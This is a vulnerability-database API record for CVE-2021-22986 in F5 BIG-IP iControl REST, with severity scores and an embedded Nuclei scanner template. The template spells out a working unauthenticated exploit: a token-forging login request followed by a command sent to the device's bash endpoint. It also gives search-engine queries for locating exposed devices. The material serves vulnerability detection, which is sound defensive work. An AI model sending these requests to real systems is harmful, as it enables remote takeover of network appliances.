{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-22986/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-22986/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-22986/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-22986/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-22986/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-22986"},"sightings":{"href":"/api/v1/sightings/cve-2021-22986"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99898,"kev":true,"percentile":0.99965},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-22986.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-22986\n\ninfo:\n  name: F5 iControl REST - Remote Command Execution\n  author: rootxharsh,iamnoooob\n  severity: critical\n  description: F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3; and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.\n  remediation: |\n    Apply the necessary security patches or updates provided by F5 Networks to mitigate the vulnerability.\n  reference:\n    - https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986\n    - https://support.f5.com/csp/article/K03009991\n    - http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22986\n    - https://github.com/Miraitowa70/POC-Notes\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-22986\n    cwe-id: CWE-918\n    epss-score: 0.99898\n    epss-percentile: 0.99965\n    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: f5\n    product: big-ip_access_policy_manager\n    shodan-query: http.title:\"big-ip&reg;-+redirect\" +\"server\"\n    fofa-query: title=\"big-ip&reg;-+redirect\" +\"server\"\n    google-query: intitle:\"big-ip&reg;-+redirect\" +\"server\"\n  tags: cve,cve2021,bigip,rce,kev,packetstorm,f5,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /mgmt/shared/authn/login HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Language: en\n        Authorization: Basic YWRtaW46\n        Content-Type: application/json\n        Cookie: BIGIPAuthCookie=1234\n        Connection: close\n\n        {\"username\":\"admin\",\"userReference\":{},\"loginReference\":{\"link\":\"http://localhost/mgmt/shared/gossip\"}}\n      - |\n        POST /mgmt/tm/util/bash HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Language: en\n        X-F5-Auth-Token: {{token}}\n        Content-Type: application/json\n        Connection: close\n\n        {\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}\n\n    matchers:\n      - type: word\n        words:\n          - \"commandResult\"\n          - \"uid=\"\n        condition: and\n\n    extractors:\n      - type: regex\n        name: token\n        group: 1\n        regex:\n          - \"([A-Z0-9]{26})\"\n        internal: true\n        part: body\n\n      - type: regex\n        group: 1\n        regex:\n          - \"\\\"commandResult\\\":\\\"(.*)\\\"\"\n        part: body\n# digest: 4a0a00473045022100a5c52f5e67a39226b2483933a9dc412e86653922b8a9d14b0ee38788aca0b96102204f9b6c173d5967312b2cc040aa3a6477ff2a6116e4d49b8b3d309e3176f6d1d8:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-22986"}